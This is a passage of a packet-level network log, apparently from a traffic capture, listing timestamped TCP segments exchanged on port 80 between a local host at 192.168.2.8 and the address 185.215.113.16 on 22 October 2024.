Oct 22, 2024 19:24:42.901123047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901133060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901143074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901148081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901148081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901154995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901165009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901175022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901186943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901191950 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901191950 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901197910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901209116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901227951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901233912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901233912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901238918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901253939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901263952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901273966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901282072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901282072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901283026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901309013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901319981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901329994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901339054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901341915 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901341915 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901350021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901360989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901371002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901384115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901384115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901401043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901648998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901660919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901691914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901696920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901709080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901719093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901730061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901740074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901750088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901758909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.901782990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.901782990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.905889988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934052944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934062958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934079885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934091091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934101105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934112072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934123039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934124947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934124947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934168100 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934194088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934204102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934214115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934222937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934236050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934242964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934253931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934264898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934266090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934277058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934288979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934293985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934299946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934312105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934323072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934329033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934329033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.934349060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.934350967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935544968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935575962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935611010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935621977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935647964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935659885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935669899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935691118 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935691118 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935741901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935753107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935764074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935774088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935785055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935792923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935792923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935800076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935811043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935821056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935832024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935847998 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935847998 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935877085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.935954094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935965061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.935976028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936001062 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936026096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936038017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936048985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936059952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936060905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936083078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936094046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936106920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936139107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936150074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936161041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936181068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936181068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936207056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936218023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936228991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936238050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936249018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936249018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936290026 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936383009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936409950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936422110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936460018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936491013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936501980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936521053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936531067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936542034 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936549902 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936549902 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936551094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936569929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936582088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936592102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936602116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936602116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936603069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936655045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936683893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936695099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936705112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936727047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936738968 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936738968 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936747074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936755896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936773062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936784029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936794043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936805010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936805010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936809063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936825991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936830997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936845064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936855078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936866999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936872959 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936877966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936889887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936901093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936919928 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936919928 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936944008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936954975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936964989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936975002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936985970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936985970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.936986923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.936996937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937024117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937024117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937158108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937167883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937179089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937189102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937201023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937215090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937218904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937232018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937242031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937252998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937254906 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937254906 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937297106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937308073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937318087 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937339067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937361956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937397957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937412977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937429905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937447071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937457085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937475920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937485933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937496901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937505007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937510967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937510967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937515020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937526941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937536955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937547922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937565088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937565088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937582970 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937603951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937629938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937666893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937666893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937689066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937699080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937710047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937733889 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937750101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937761068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937771082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937791109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937791109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937804937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937815905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937824965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937843084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937853098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937864065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937874079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937905073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937911034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937911034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937917948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937928915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937957048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937957048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.937990904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.937999964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938009977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938020945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938030958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938040972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938060045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938060045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938092947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938114882 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938117981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938137054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938215017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938226938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938237906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938246965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938261986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938261986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938365936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938376904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938395977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938405991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938416958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938417912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938417912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938432932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938442945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938452959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938452005 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938452005 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938530922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938570023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938580036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938591957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938596010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938617945 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938621998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938663960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938674927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938694954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938694954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938715935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938723087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938733101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938743114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938771009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.938771009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938781977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.938873053 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.945903063 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.950741053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950786114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950834990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.950851917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950864077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950875998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950886965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950902939 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.950946093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950957060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950968027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950978041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.950978041 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.950978041 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.951049089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951060057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951070070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951077938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951083899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.951083899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.951090097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951101065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951111078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951122046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.951128006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.951128006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.951328993 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.961572886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.978811026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.978880882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.978904009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.978935003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.978935003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.978935003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.031445980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.049484015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049511909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049526930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049571037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049595118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049606085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.049638033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.049653053 CEST	80	49717	185.215.113.16	192.168.2.8
